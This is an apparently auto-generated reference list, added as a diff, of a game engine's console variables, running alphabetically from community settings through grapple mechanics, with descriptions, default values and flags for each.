+community_staleCommunitySettingsTime + + + +default: `"60"` +flags: `0x2` +
+
+community_staleUserInfoTime + + + +default: `"120"` +flags: `0x2` +
+
+con_logfile + +Console output gets written to this file + +default: `""` +flags: `0x2` +
+
+con_timestamp + +Prefix console.log entries with timestamps + +default: `"0"` +flags: `0x2` +
+
+cpu_level + +CPU Level - Default: High + +default: `"2"` +flags: `0x2` +
+
+cpu_level + +CPU Level - Default: High + +default: `"2"` +flags: `0x2` +
+
+createentitydecals + + + +default: `"1"` +flags: `0x4000` +
+
+crossPlay_Enabled + +Allow crossPlay code to work! + +default: `"1"` +flags: `0x2` +
+
+csm0_on_worker + + + +default: `"0"` +flags: `0x2` +
+
+csm_cascade_res + +Set the cascading shadow maps rendertarget resolution + +default: `"1024"` +flags: `0x2` +
+
+csm_cascade_res + +Set the cascading shadow maps rendertarget resolution + +default: `"1024"` +flags: `0x2` +
+
+csm_coverage + +Set the cascading shadow maps coverage + +default: `"2"` +flags: `0x2` +
+
+csm_culling_use_base_planes + + + +default: `"1"` +flags: `0x2` +
+
+csm_culling_use_exclusion_planes + + + +default: `"1"` +flags: `0x2` +
+
+csm_culling_use_inclusion_planes + + + +default: `"1"` +flags: `0x2` +
+
+csm_culling_use_planes + + + +default: `"1"` +flags: `0x2` +
+
+csm_debug_2d + + + +default: `"0"` +flags: `0x2` +
+
+csm_debug_culling + + + +default: `"0"` +flags: `0x2` +
+
+csm_debug_vis_hi_range + + + +default: `"1.0"` +flags: `0x2` +
+
+csm_debug_vis_lo_range + + + +default: `".35"` +flags: `0x2` +
+
+csm_depth_bias + + + +default: `"-0.000005f"` +flags: `0x2` +
+
+csm_dropsequence_adjusted_coverage + +Coverage for csm_dropsequence_adjustment + +default: `"6400"` +flags: `0x2` +
+
+csm_dropsequence_adjustment + +Adjust CSM 2 coverage during drop sequence for STATICSHADOWMODE_GENERATE_ONCE in order to prevent drop ship shadow from being clamped. + +default: `"1"` +flags: `0x2` +
+
+csm_enabled + +Set whether to render cascading shadow maps + +default: `"1"` +flags: `0x2` +
+
+csm_fadeModels + + + +default: `"1"` +flags: `0x2` +
+
+csm_force_no_csm_in_reflections + + + +default: `"0"` +flags: `0x2` +
+
+csm_frustum_draw + + + +default: `"0"` +flags: `0x2` +
+
+csm_frustum_draw_lock + + + +default: `"0"` +flags: `0x2` +
+
+csm_ignore_cascade12 + + + +default: `"0"` +flags: `0x2` +
+
+csm_ignore_edge_planes + + + +default: `"0"` +flags: `0x2` +
+
+csm_ignore_face_planes + + + +default: `"0"` +flags: `0x2` +
+
+csm_max_z_offset + +Note csm_z_cover_world expands Z range as well + +default: `"1000"` +flags: `0x2` +
+
+csm_min_z_offset + +Note csm_z_cover_world expands Z range as well + +default: `"-1000"` +flags: `0x2` +
+
+csm_renderable_shadows + + + +default: `"1"` +flags: `0x2` +
+
+csm_rope_shadows + + + +default: `"1"` +flags: `0x2` +
+
+csm_rot_override + +map_settings_override MUST BE ENABLED FOR THIS TO BE FUNCTIONAL. + +default: `"0"` +flags: `0x2` +
+
+csm_rot_x + +map_settings_override MUST BE ENABLED FOR THIS TO BE FUNCTIONAL. + +default: `"50"` +flags: `0x2` +
+
+csm_rot_y + +map_settings_override MUST BE ENABLED FOR THIS TO BE FUNCTIONAL. + +default: `"43"` +flags: `0x2` +
+
+csm_shadow_split_lerp_factor_range + + + +default: `".1"` +flags: `0x2` +
+
+csm_texel_size_cascade_0 + + + +default: `"0.25"` +flags: `0x2` +
+
+csm_texel_size_cascade_1 + + + +default: `"1.0"` +flags: `0x2` +
+
+csm_texel_size_cascade_2 + + + +default: `"4.0"` +flags: `0x2` +
+
+csm_texel_size_cascade_onecascade + + + +default: `"2.0"` +flags: `0x2` +
+
+csm_use_env_light_direction + + + +default: `"1"` +flags: `0x2` +
+
+csm_world_shadow_meshes + + + +default: `"1"` +flags: `0x2` +
+
+csm_world_shadows + + + +default: `"1"` +flags: `0x2` +
+
+csm_z_cover_world + +Expands CSM Depth coverage. 1 - Sea Height to Jump Height by Script, 2 - Static shadow's depth range + +default: `"2"` +flags: `0x2` +
+
+curl_allowHTTPS + + + +default: `"1"` +flags: `0x2` +
+
+curl_preloadDlls + + + +default: `"0"` +flags: `0x2` +
+
+curl_spamAllQueryStates + + + +default: `"0"` +flags: `0x2` +
+
+cursorWide + + + +default: `"2"` +flags: `0x2` +
+
+damageIndicatorReplayTimeOffset + +Artificial delay of damage indicator in replay + +default: `"0.0"` +flags: `0x2` +
+
+damage_indicator_style_pilot + + + +default: `"2"` +flags: `0x1000000` +
+
+damageinfo_defendInvalidValues + + + +default: `"0"` +flags: `0x2002` +
+
+debugFootstepEffects + + + +default: `"0"` +flags: `0x2` +
+
+debug_debug_overlay + +Enable debug of the debug overlays + +default: `"0"` +flags: `0x4004` +
+
+debug_force_textRestriction + + + +default: `"-1"` +flags: `0x2` +
+
+debug_force_ugcRestriction + + + +default: `"-1"` +flags: `0x2` +
+
+debug_force_voiceRestriction + + + +default: `"-1"` +flags: `0x2` +
+
+debug_map_crc + +Prints CRC for each map lump loaded + +default: `"0"` +flags: `0x2` +
+
+decal_clip_debug_draw + + + +default: `"0"` +flags: `0x2` +
+
+decal_clip_debug_groups + +this kicks off this many work groups when a decal is spawned instead of one for each triangle on the model. 0 is disabled + +default: `"0"` +flags: `0x2` +
+
+defer_weapon_effects + + + +default: `"1"` +flags: `0x2` +
+
+delayPostSnapshotNotificationsToAfterInterpolation + + + +default: `"1"` +flags: `0x2` +
+
+demo_autoRecord + + + +default: `"1"` +flags: `0x2` +
+
+demo_autoRecordName + + + +default: `"demo"` +flags: `0x2` +
+
+demo_connect_string + +Connect string for demo UI + +default: `""` +flags: `0x2` +
+
+demo_ui_enable + +Suffix for the demo UI + +default: `""` +flags: `0x2` +
+
+depth_prepass_dist_cutouts + + + +default: `"100"` +flags: `0x2` +
+
+depth_prepass_dist_opaques + + + +default: `"30"` +flags: `0x2` +
+
+depth_prepass_include_opaques + + + +default: `"1"` +flags: `0x2` +
+
+devStats + +True if game should report dev stats. + +default: `"0"` +flags: `0x2002` +
+
+developer + +Set developer message level + +default: `"0"` +flags: `0x80000` +
+
+disable_player_use_prompts + + + +default: `"0"` +flags: `0x1000000` +
+
+discord_largeImage + + + +default: `"default"` +flags: `0x2` +
+
+discord_smallImage + + + +default: `"default_small"` +flags: `0x2` +
+
+discord_updatePresence + + + +default: `"0"` +flags: `0x2` +
+
+dlight_default_falloff + +default half-distance fraction for legacy dlights. + +default: `"0.3"` +flags: `0x2` +
+
+dlight_early_clear + + + +default: `"1"` +flags: `0x2` +
+
+dlight_enable + + + +default: `"1"` +flags: `0x2` +
+
+dlight_overlay + +Draw debug overlay of dlight array + +default: `"0"` +flags: `0x4000` +
+
+dodge_cockpitHack + +Hack to avoid eye moving too far back in cockpit + +default: `"0"` +flags: `0x2002` +
+
+dodge_cockpitOffsetMax + +Cockpit translation while dodging + +default: `"3"` +flags: `0x2002` +
+
+dodge_cockpitTiltMax + +Additional view tilt applied to the cockpit while dodging + +default: `"4"` +flags: `0x2002` +
+
+dodge_vertical_enable + +Enables vertical dodge + +default: `"0"` +flags: `0x2002` +
+
+dodge_vertical_horzspeedscale + +Horizontal speed retained when dodging vertically + +default: `"0.5"` +flags: `0x2002` +
+
+dodge_vertical_in_air + +Allow dodge to still apply vertical acceleration when player is in the air + +default: `"1"` +flags: `0x2002` +
+
+dodge_vertical_threshold + +Stick deflection before dodge becomes vertical + +default: `"0.1"` +flags: `0x2002` +
+
+dodge_viewTiltDecreaseSpeed + +Speed at which view tilt decreases while dodging (degrees/sec) + +default: `"2.5"` +flags: `0x2002` +
+
+dodge_viewTiltFalloffTime + +Time during which view tilt decays to zero while dodging + +default: `".7"` +flags: `0x2002` +
+
+dodge_viewTiltIncreaseSpeed + +Speed at which view tilt increases while dodging (degrees/sec) + +default: `"5"` +flags: `0x2002` +
+
+dodge_viewTiltMax + +Amount of view tilt while dodging in degrees + +default: `"10"` +flags: `0x2002` +
+
+dof_enable + + + +default: `"1"` +flags: `0x2` +
+
+dof_farDepthEnd + + + +default: `"3000"` +flags: `0x2` +
+
+dof_farDepthStart + + + +default: `"2000"` +flags: `0x2` +
+
+dof_monitorFarDepthEnd + + + +default: `"3000"` +flags: `0x2` +
+
+dof_monitorFarDepthStart + + + +default: `"2000"` +flags: `0x2` +
+
+dof_monitorNearDepthEnd + + + +default: `"7.7"` +flags: `0x2` +
+
+dof_monitorNearDepthStart + + + +default: `"7.5"` +flags: `0x2` +
+
+dof_nearDepthEnd + + + +default: `"7.7"` +flags: `0x2` +
+
+dof_nearDepthStart + + + +default: `"7.5"` +flags: `0x2` +
+
+dof_overrideParams + + + +default: `"0"` +flags: `0x2` +
+
+dof_variable_blur + + + +default: `"0"` +flags: `0x2` +
+
+dormant_debug + + + +default: `"0"` +flags: `0x2` +
+
+draw_target_info_offscreen + + + +default: `"0"` +flags: `0x2` +
+
+dtwatchclass + +Watch all fields encoded with this table. + +default: `""` +flags: `0x2` +
+
+dtwatchdecode + +When watching show decode. + +default: `"1"` +flags: `0x2` +
+
+dtwatchencode + +When watching show encode. + +default: `"1"` +flags: `0x2` +
+
+dtwatchent + +Watch this entities data table encoding. + +default: `"-1"` +flags: `0x2` +
+
+dtwatchvar + +Watch the named variable. + +default: `""` +flags: `0x2` +
+
+dump_varsights_calculations + +Dumps one frame of variable sights calculations and turns itself off. + +default: `"0"` +flags: `0x2` +
+
+durango_voice_chat_team_only + +Only turn on voice chat for players on the same team + +default: `"1"` +flags: `0x2` +
+
+dvs_enable + +Enable dynamic viewport scaling. + +default: `"1"` +flags: `0x2` +
+
+dvs_enable_in_lobby + +Paired with dvs_enable. Both have to be true if we want to enable DVS in Lobby. + +default: `"0"` +flags: `0x2` +
+
+dvs_gpuframetime_max + +GPU frametime threshold above which DVS will start decreasing the scale. Specified in microseconds. + +default: `"16500"` +flags: `0x2` +
+
+dvs_gpuframetime_min + +GPU frametime threshold below which DVS will start increasing the scale. Specified in microseconds. + +default: `"15000"` +flags: `0x2` +
+
+dvs_scale_min + +Smallest scale the viewport dimensions can be scaled by. + +default: `"0.5f"` +flags: `0x2` +min value: `0.01` +max value: `1` +
+
+eadpAuth_hostname + + + +default: `""` +flags: `0x80000` +
+
+eadpFriends_hostname + + + +default: `""` +flags: `0x80000` +
+
+eadpGroups_Enabled + +Allow EADP Groups to run + +default: `"1"` +flags: `0x2` +
+
+eadpGroups_hostname + + + +default: `""` +flags: `0x80000` +
+
+eadpRtm_hostname + + + +default: `""` +flags: `0x80000` +
+
+eadpSearch_hostname + + + +default: `""` +flags: `0x80000` +
+
+eadp_rtm_spam_log + + + +default: `"1"` +flags: `0x2` +
+
+effect_update_array_spam + + + +default: `"0"` +flags: `0x2` +
+
+enable_KVFileOverrides + + + +default: `"1"` +flags: `0x2` +
+
+enable_debug_overlays + +Enable rendering of debug overlays + +default: `"1"` +flags: `0x4004` +
+
+enable_height_based_land_anims + +Enables different land animations based on the height of the fall. These may just be duplicates of each other. + +default: `"1"` +flags: `0x2002` +
+
+enable_height_based_land_anims_titans + + + +default: `"0"` +flags: `0x2002` +
+
+enable_skeleton_draw + +Render skeletons in wireframe + +default: `"0"` +flags: `0x4000` +
+
+encrypt_multiKey + + + +default: `"1"` +flags: `0x2` +
+
+ent_lightweightEnts + + + +default: `"1"` +flags: `0x2` +
+
+ent_repack_almostFull + + + +default: `"3000"` +flags: `0x2` +
+
+ent_repack_threshhold + + + +default: `"0.0001"` +flags: `0x2` +
+
+entity_error_on_hitbox_count_mismatch + +If set to true, SetModel will trigger a script error if any hitbox attachments will become invalid. + +default: `"1"` +flags: `0x2002` +
+
+entity_skipRedundantAddEffects + + + +default: `"1"` +flags: `0x2` +
+
+entity_useNetworkFieldBuffer + + + +default: `"1"` +flags: `0x400002` +
+
+error_if_non_standard_ent_create + + + +default: `"0"` +flags: `0x2` +
+
+eula_version + +What the current version of the EULA is + +default: `"1"` +flags: `0x2` +
+
+eula_version_accepted + + + +default: `"0"` +flags: `0x1000000` +
+
+eventseq_debug + + + +default: `"0"` +flags: `0x2` +
+
+everything_unlocked + + + +default: `"0"` +flags: `0x2002` +
+
+fast_intro + + + +default: `"0"` +flags: `0x2002` +
+
+fatal_script_error_prompt + + + +default: `""` +flags: `0x2002` +
+
+fatal_script_errors + + + +default: `"1"` +flags: `0x2002` +
+
+fatal_script_errors_client + +Enable fatal errors for client script. -1 will revert to using "fatal_script_errors" + +default: `"-1"` +flags: `0x2002` +
+
+fatal_script_errors_server + +Enable fatal errors for server script. -1 will revert to using "fatal_script_errors" + +default: `"-1"` +flags: `0x2002` +
+
+filesystem_buffer_size + +Size of per file buffers. 0 for none + +default: `"0"` +flags: `0x2` +
+
+filesystem_max_stdio_read + + + +default: `"16"` +flags: `0x2` +
+
+filesystem_native + +Use native FS or STDIO + +default: `"1"` +flags: `0x2` +
+
+filesystem_report_buffered_io + + + +default: `"0"` +flags: `0x2` +
+
+filesystem_unbuffered_io + + + +default: `"1"` +flags: `0x2` +
+
+filesystem_use_overlapped_io + + + +default: `"1"` +flags: `0x2` +
+
+fire_animevents_overlay_not_active + +fires anim events even if the overlay isn't active + +default: `"0"` +flags: `0x2002` +
+
+first_person_bullet_delay + +Set the amount of additional delay for first person bullets fired with net_optimize_weapons in seconds. Required so bullets match animations with cl_predict 0 and in kill replay + +default: `"0.1f"` +flags: `0x2002` +
+
+first_person_proxy_blend_distance + + + +default: `"50"` +flags: `0x2` +
+
+first_person_proxy_debug + + + +default: `"0"` +flags: `0x6000` +
+
+firsttime_mp_message + +first time joining multiplayer + +default: `"0"` +flags: `0x1000000` +
+
+fog_enable + +map_settings_override MUST BE ENABLED FOR THIS TO BE FUNCTIONAL. + +default: `"1"` +flags: `0x40000002` +
+
+fog_enable_water_fog + + + +default: `"1"` +flags: `0x4000` +
+
+fog_enableskybox + + + +default: `"1"` +flags: `0x2` +
+
+force3PLaserAttachment + + + +default: `"HEADFOCUS"` +flags: `0x2002` +
+
+force_EAAccess + + + +default: `"-1"` +flags: `0x2` +
+
+fps_max + +Frame rate limiter. -1 indicates use the desktop refresh. 0 is unlocked. + +default: `"-1"` +flags: `0x80000` +
+
+fps_max_use_refresh + +Use refresh rate for fps_max. + +default: `"0"` +flags: `0x2` +
+
+fps_max_vsync + +Frame rate limiter with vsync is enabled. + +default: `"0"` +flags: `0x2` +
+
+freecam_swallowButtonInput + + + +default: `"1"` +flags: `0x2` +
+
+freefall_sound_autoplay_time + +If the player falls for longer than this amount of time freefall sounds will automatically start playing. + +default: `"1.0"` +flags: `0x2002` +
+
+freefall_sound_height + +Height player must be falling from to trigger freefall sound effects. + +default: `"200.0"` +flags: `0x2002` +
+
+friends_onlineUpdateInterval + + + +default: `"10"` +flags: `0x2` +
+
+fs_intralevel_reads + +Internal var to tell the file system that we are in an intraread state... + +default: `"0"` +flags: `0x2` +
+
+fs_monitor_read_from_pack + +0:Off, 1:Any, 2:Sync only + +default: `"0"` +flags: `0x2` +
+
+fs_report_intra_level_readopens + +0:Off, 1:NotAudio, 2:All + +default: `"0"` +flags: `0x2` +
+
+fs_report_long_reads + +0:Off, 1:All (for tracking accumulated duplicate read times), >1:Microsecond threshold + +default: `"0"` +flags: `0x2` +
+
+fs_report_sync_opens + +0:Off, 1:Always, 2:Not during map load + +default: `"0"` +flags: `0x2` +
+
+fs_report_sync_opens_callstack + +0 to not display the call-stack when we hit a fs_report_sync_opens warning. Set to 1 to display the call-stack. + +default: `"0"` +flags: `0x2` +
+
+fs_report_sync_opens_fatal + + + +default: `"0"` +flags: `0x40000002` +
+
+fs_showAllReads + +0:Off, 1:On + +default: `"0"` +flags: `0x2` +
+
+fs_vpk_file_open + +0: No reporting, 1: Patch:VPKFilePath, 2: Patch:VPKFilePath:PartialPath + +default: `"0"` +flags: `0x2` +
+
+fs_warning_mode + +0:Off, 1:Warn main thread, 2:Warn other threads + +default: `"0"` +flags: `0x2` +
+
+func_break_max_pieces + + + +default: `"15"` +flags: `0x2080` +
+
+fx_debug + + + +default: `"0"` +flags: `0x2002` +
+
+fx_deferWorldTraceConstraint + +'Collision via traces' ops using collision mode 0 use deferred traces. + +default: `"1"` +flags: `0x2` +
+
+fx_glass_velocity_cap + +Maximum downwards speed of shattered glass particles + +default: `"0"` +flags: `0x2` +
+
+fx_impact_ally + + + +default: `"0.49 0.76 1.0 1.0"` +flags: `0x2` +
+
+fx_impact_enemy + + + +default: `"1.0 0.47 0.13 1.0"` +flags: `0x2` +
+
+fx_impact_neutral + + + +default: `"0.86 0.86 0.86 1.0"` +flags: `0x2` +
+
+fx_screenspacepass + + + +default: `"1"` +flags: `0x2002` +
+
+g_debug_ragdoll_removal + + + +default: `"0"` +flags: `0x6000` +
+
+g_ragdoll_fadespeed + + + +default: `"600"` +flags: `0x2` +
+
+g_ragdoll_important_maxcount + + + +default: `"2"` +flags: `0x2002` +
+
+g_ragdoll_lvfadespeed + + + +default: `"100"` +flags: `0x2` +
+
+gameCursor_ModeActive + +Globally activates/deactivates game cursor mode + +default: `"1"` +flags: `0x2` +
+
+gameCursor_Velocity + +Game cursor velocity under joystick control + +default: `"1300.0"` +flags: `0x1000000` +
+
+gamepad_ads_advanced_sensitivity_scalar_0 + +Gamepad ads sensitivity for 1x scopes / ironsights. + +default: `"1.0"` +flags: `0x1000000` +min value: `0.1` +max value: `20` +
+
+gamepad_ads_advanced_sensitivity_scalar_1 + +Gamepad ads sensitivity for 2x scopes. + +default: `"1.0"` +flags: `0x1000000` +min value: `0.1` +max value: `20` +
+
+gamepad_ads_advanced_sensitivity_scalar_2 + +Gamepad ads sensitivity for 3x scopes. + +default: `"1.0"` +flags: `0x1000000` +min value: `0.1` +max value: `20` +
+
+gamepad_ads_advanced_sensitivity_scalar_3 + +Gamepad ads sensitivity for 4x scopes. + +default: `"1.0"` +flags: `0x1000000` +min value: `0.1` +max value: `20` +
+
+gamepad_ads_advanced_sensitivity_scalar_4 + +Gamepad ads sensitivity for 6x scopes. + +default: `"1.0"` +flags: `0x1000000` +min value: `0.1` +max value: `20` +
+
+gamepad_ads_advanced_sensitivity_scalar_5 + +Gamepad ads sensitivity for 8x scopes. + +default: `"1.0"` +flags: `0x1000000` +min value: `0.1` +max value: `20` +
+
+gamepad_ads_advanced_sensitivity_scalar_6 + +Gamepad ads sensitivity for 10x scopes. + +default: `"1.0"` +flags: `0x1000000` +min value: `0.1` +max value: `20` +
+
+gamepad_ads_advanced_sensitivity_scalar_7 + +Gamepad ads sensitivity for an unused scope. + +default: `"1.0"` +flags: `0x1000000` +min value: `0.1` +max value: `20` +
+
+gamepad_aim_assist_ads_high_power_scopes + +Gamepad uses aim assist in ADS with high powered scopes + +default: `"1"` +flags: `0x1000000` +
+
+gamepad_aim_assist_ads_low_power_scopes + +Gamepad uses aim assist in ADS with low powered scopes + +default: `"1"` +flags: `0x1000000` +
+
+gamepad_aim_assist_hip_high_power_scopes + +Gamepad uses aim assist in Hip with high powered scopes + +default: `"1"` +flags: `0x1000000` +
+
+gamepad_aim_assist_hip_low_power_scopes + +Gamepad uses aim assist in Hip with low powered scopes + +default: `"1"` +flags: `0x1000000` +
+
+gamepad_aim_assist_melee + +Gamepad uses aim assist with melee weapons + +default: `"1"` +flags: `0x1000000` +
+
+gamepad_aim_speed + + + +default: `"2"` +flags: `0x1000000` +min value: `0` +max value: `7` +
+
+gamepad_aim_speed_ads_0 + + + +default: `"-1"` +flags: `0x1000000` +min value: `-1` +max value: `7` +
+
+gamepad_aim_speed_ads_1 + + + +default: `"-1"` +flags: `0x1000000` +min value: `-1` +max value: `7` +
+
+gamepad_aim_speed_ads_2 + + + +default: `"-1"` +flags: `0x1000000` +min value: `-1` +max value: `7` +
+
+gamepad_aim_speed_ads_3 + + + +default: `"-1"` +flags: `0x1000000` +min value: `-1` +max value: `7` +
+
+gamepad_aim_speed_ads_4 + + + +default: `"-1"` +flags: `0x1000000` +min value: `-1` +max value: `7` +
+
+gamepad_aim_speed_ads_5 + + + +default: `"-1"` +flags: `0x1000000` +min value: `-1` +max value: `7` +
+
+gamepad_aim_speed_ads_6 + + + +default: `"-1"` +flags: `0x1000000` +min value: `-1` +max value: `7` +
+
+gamepad_aim_speed_ads_7 + + + +default: `"-1"` +flags: `0x1000000` +min value: `-1` +max value: `7` +
+
+gamepad_button_layout + +Gamepad button layout (used by menus) + +default: `"0"` +flags: `0x1000000` +
+
+gamepad_buttons_are_southpaw + +Gamepad button layouts should use southpaw variants (used by menus) + +default: `"0"` +flags: `0x1000000` +
+
+gamepad_custom_ads_pitch + + + +default: `"75.0"` +flags: `0x1000000` +
+
+gamepad_custom_ads_turn_delay + + + +default: `"0.25"` +flags: `0x1000000` +
+
+gamepad_custom_ads_turn_pitch + + + +default: `"30.0"` +flags: `0x1000000` +
+
+gamepad_custom_ads_turn_time + + + +default: `"1.0"` +flags: `0x1000000` +
+
+gamepad_custom_ads_turn_yaw + + + +default: `"30.0"` +flags: `0x1000000` +
+
+gamepad_custom_ads_yaw + + + +default: `"110.0"` +flags: `0x1000000` +
+
+gamepad_custom_assist_on + + + +default: `"1"` +flags: `0x1000000` +
+
+gamepad_custom_curve + + + +default: `"10.0"` +flags: `0x1000000` +
+
+gamepad_custom_deadzone_in + + + +default: `"0.15"` +flags: `0x1000000` +
+
+gamepad_custom_deadzone_out + + + +default: `"0.02"` +flags: `0x1000000` +
+
+gamepad_custom_enabled + + + +default: `"0"` +flags: `0x1000000` +
+
+gamepad_custom_hip_pitch + + + +default: `"120.0"` +flags: `0x1000000` +
+
+gamepad_custom_hip_turn_delay + + + +default: `"0.0"` +flags: `0x1000000` +
+
+gamepad_custom_hip_turn_pitch + + + +default: `"0.0"` +flags: `0x1000000` +
+
+gamepad_custom_hip_turn_time + + + +default: `"0.33"` +flags: `0x1000000` +
+
+gamepad_custom_hip_turn_yaw + + + +default: `"220.0"` +flags: `0x1000000` +
+
+gamepad_custom_hip_yaw + + + +default: `"160.0"` +flags: `0x1000000` +
+
+gamepad_custom_pilot + + + +default: `"0,1,2,3,4,5,6,7,8,9,10,11,12,13"` +flags: `0x1000000` +
+
+gamepad_custom_titan + + + +default: `"0,1,2,3,4,5,6,7,8,9,10,11,12,13"` +flags: `0x1000000` +
+
+gamepad_deadzone_index_look + + + +default: `"1"` +flags: `0x1000000` +
+
+gamepad_deadzone_index_move + + + +default: `"1"` +flags: `0x1000000` +
+
+gamepad_enabled + +True if the gamepad is enabled, false otherwise. + +default: `"1"` +flags: `0x2` +min value: `0` +max value: `1` +
+
+gamepad_look_curve + + + +default: `"0"` +flags: `0x1000000` +min value: `0` +max value: `4` +
+
+gamepad_stick_layout + +Gamepad stick layout (used by menus) + +default: `"0"` +flags: `0x1000000` +
+
+gamepad_toggle_ads + + + +default: `"0"` +flags: `0x1000000` +
+
+gamepad_togglecrouch_hold + + + +default: `"0"` +flags: `0x1000000` +
+
+gamepad_trigger_threshold + + + +default: `"30"` +flags: `0x1000000` +
+
+gamepad_use_per_scope_ads_settings + + + +default: `"0"` +flags: `0x1000000` +
+
+gamepad_use_per_scope_sensitivity_scalars + +Gamepad uses the per scope scalars + +default: `"0"` +flags: `0x1000000` +
+
+gamepad_use_type + +Gamepad use scheme (used by menus), 0: hold use, tap reload, 1: tap use, hold reload, 2: tap use/reload + +default: `"2"` +flags: `0x1000000` +
+
+gameui_xbox + + + +default: `"0"` +flags: `0x2` +
+
+gamma_adjusted + +Whether player has done gamma adjustment + +default: `"0"` +flags: `0x1000000` +
+
+gatherprops_no_wait + + + +default: `"1"` +flags: `0x2` +
+
+gfx_desaturate_force + + + +default: `"0"` +flags: `0x2` +
+
+gfx_nvnUseLowLatency + +enables Nvidia Low Latency SDK + +default: `"1"` +flags: `0x2` +
+
+gfx_nvnUseLowLatencyBoost + +enables Low Latency Boost + +default: `"1"` +flags: `0x2` +
+
+gl_clear_color_buffer + +Enable or disable the clearing of the main color buffer. + +default: `"0"` +flags: `0x4000` +
+
+gl_clear_fogcolor + + + +default: `"1"` +flags: `0x4000` +
+
+gl_clear_randomcolor + +Clear the back buffer to random colors every frame. Helps spot open seams in geometry. + +default: `"0"` +flags: `0x4000` +
+
+glass_break_required_speed + + + +default: `"150"` +flags: `0x6000` +
+
+glass_shatter_direction_force_scale + + + +default: `"1.0"` +flags: `0x2` +
+
+glass_shatter_force_scale + + + +default: `"1.0"` +flags: `0x2` +
+
+glass_shatter_size_scale + + + +default: `"1.0"` +flags: `0x2` +
+
+glass_shatter_use_real_direction + + + +default: `"0"` +flags: `0x2` +
+
+glitch_aberrationScale + +How far apart the glitch cloak samples should be. + +default: `"10"` +flags: `0x2002` +
+
+global_lighting_partial_update + +Allow partial uploads of GPU lights (optimization.) + +default: `"1"` +flags: `0x2` +
+
+gpu_count + + + +default: `"0"` +flags: `0x2` +
+
+gpu_driven_tex_stream + + + +default: `"1"` +flags: `0x2` +
+
+gpu_driven_tex_stream_single_thread + + + +default: `"1"` +flags: `0x2` +
+
+gpu_level + +GPU Level - Default: High + +default: `"3"` +flags: `0x2` +
+
+gpu_level + +GPU Level - Default: High + +default: `"3"` +flags: `0x2` +
+
+gpu_mem_level + +Memory Level - Default: Normal + +default: `"0"` +flags: `0x2` +
+
+gpu_mem_level + +Memory Level - Default: Normal + +default: `"0"` +flags: `0x2` +
+
+gpu_vram_size_mb + + + +default: `"0"` +flags: `0x2` +
+
+grapple_accel_human + +Speed added per second from grapple, up to the grapple_speedRamp* speed + +default: `"1000"` +flags: `0x2002` +
+
+grapple_accel_titan + +Speed added per second from grapple, up to the grapple_speedRamp* speed + +default: `"1800"` +flags: `0x2002` +
+
+grapple_around_obstacle_accel + +Acceleration around obstacles while grappling + +default: `"1000"` +flags: `0x2002` +
+
+grapple_autoMantle + +After detaching from grapple, how long to keep trying to automantle + +default: `"0.25"` +flags: `0x2002` +
+
+grapple_autoMeleeConvergeTime + +Simplify relative velocities when the enemy is this many seconds away from hitting us (increases chances of a hit) + +default: `"1.0"` +flags: `0x2002` +
+
+grapple_autoMeleeOnDetach + +Starts a melee sequence when the grapple detaches. + +default: `"1"` +flags: `0x2002` +
+
+grapple_autoMeleePredict + +Whether to run grapple melee logic on the client (tends to mispredict anyway) + +default: `"0"` +flags: `0x2002` +
+
+grapple_autoMeleePredictTime + +Melee begins when the enemy is this many seconds away from hitting us + +default: `"0.13"` +flags: `0x2002` +
+
+grapple_autoMeleeViewRotateSpeedFar + +Speed at which view rotates toward grapple melee target + +default: `"1"` +flags: `0x2002` +
+
+grapple_autoMeleeViewRotateSpeedNear + +Speed at which view rotates toward grapple melee target + +default: `"3"` +flags: `0x2002` +
+
+grapple_debug + +Show grapple debug info + +default: `"0"` +flags: `0x2002` +
+
+grapple_decelMeleeStrength + +Strength of extra deceleration that forces melee targets to come to you + +default: `"1"` +flags: `0x2002` +
+
+grapple_decel_human + +Deceleration of player's speed that doesn't go toward the grapple point + +default: `"425"` +flags: `0x2002` +
+
+grapple_decel_titan + +Deceleration of player's speed that doesn't go toward the grapple point + +default: `"200"` +flags: `0x2002` +
+
+grapple_detachExtraAllowedLength + +Extra allowed grapple length before detaching once it's attached + +default: `"256"` +flags: `0x2002` +
+
+grapple_disableMeleeWhenActive + +Disallows melee when the grapple is out. + +default: `"0"` +flags: `0x2002` +
+
+grapple_dontFightGravity + +Ignores downward speed when applying deceleration, so that gravity continues to pull you down + +default: `"1"` +flags: `0x2002` +
+
+grapple_fallSpeed + +Fall speed of the grapple hook while it's returning + +default: `"300"` +flags: `0x2002` +
+
+grapple_forcedRetractVel + +Return speed of grapple hook when grapple is finished or cancelled + +default: `"3000"` +flags: `0x2002` +
+
+grapple_gracePeriod + +Length of time player can grapple without using a charge, in case they mess up + +default: `"0.25"` +flags: `0x2002` +
+
+grapple_gravityPushUnderContribution + +Pushing forward while looking "under" the grapple point increases gravity this much + +default: `"2"` +flags: `0x2002` +
+
+grapple_initialImpulseOffGround_human + +Initial launch speed off the ground when grapple connects + +default: `"50"` +flags: `0x2002` +
+
+grapple_initialImpulseOffGround_human_npc + +Initial launch speed off the ground when grapple connects + +default: `"150"` +flags: `0x2002` +
+
+grapple_initialImpulseOffGround_titan + +Initial launch speed off the ground when grapple connects + +default: `"0"` +flags: `0x2002` +
+
+grapple_initialImpulse_human + +Initial launch speed when grapple connects + +default: `"350"` +flags: `0x2002` +
+
+grapple_initialImpulse_titan + +Initial launch speed when grapple connects + +default: `"350"` +flags: `0x2002` +
+
+grapple_initialSlowFracVert_human + +Fraction of vertical speed that is retained when grapple connects + +default: `"0.4"` +flags: `0x2002` +
+
+grapple_initialSlowFracVert_titan + +Fraction of vertical speed that is retained when grapple connects + +default: `"0.1"` +flags: `0x2002` +
+
+grapple_initialSlowFrac_human + +Fraction of XY speed that is retained when grapple connects + +default: `"1"` +flags: `0x2002` +
+
+grapple_initialSlowFrac_titan + +Fraction of XY speed that is retained when grapple connects + +default: `"0.5"` +flags: `0x2002` +
+
+grapple_initialSpeedMin_human + +When grapple connects, player speed is immediately set to at least this value (negative = away, positive = towards) + +default: `"0"` +flags: `0x2002` +
+
+grapple_initialSpeedMin_titan + +When grapple connects, player speed is immediately set to at least this value (negative = away, positive = towards) + +default: `"0"` +flags: `0x2002` +
+
+grapple_jumpFrac + +Jump velocity multiplier when grappled + +default: `"1.0"` +flags: `0x2002` +
+
+grapple_letGravityHelpCosAngle + +Don't ignore gravity when grappling downward this much (0 is horizontal, 1 is straight down) + +default: `"0.8"` +flags: `0x2002` +
+
+grapple_lift + +Distance above grapple hook that player is pulled to + +default: `"25"` +flags: `0x2002` +
+
+grapple_pullDelay_human + +Grapple delay between attachment and acceleration + +default: `"0.2"` +flags: `0x2002` +
+
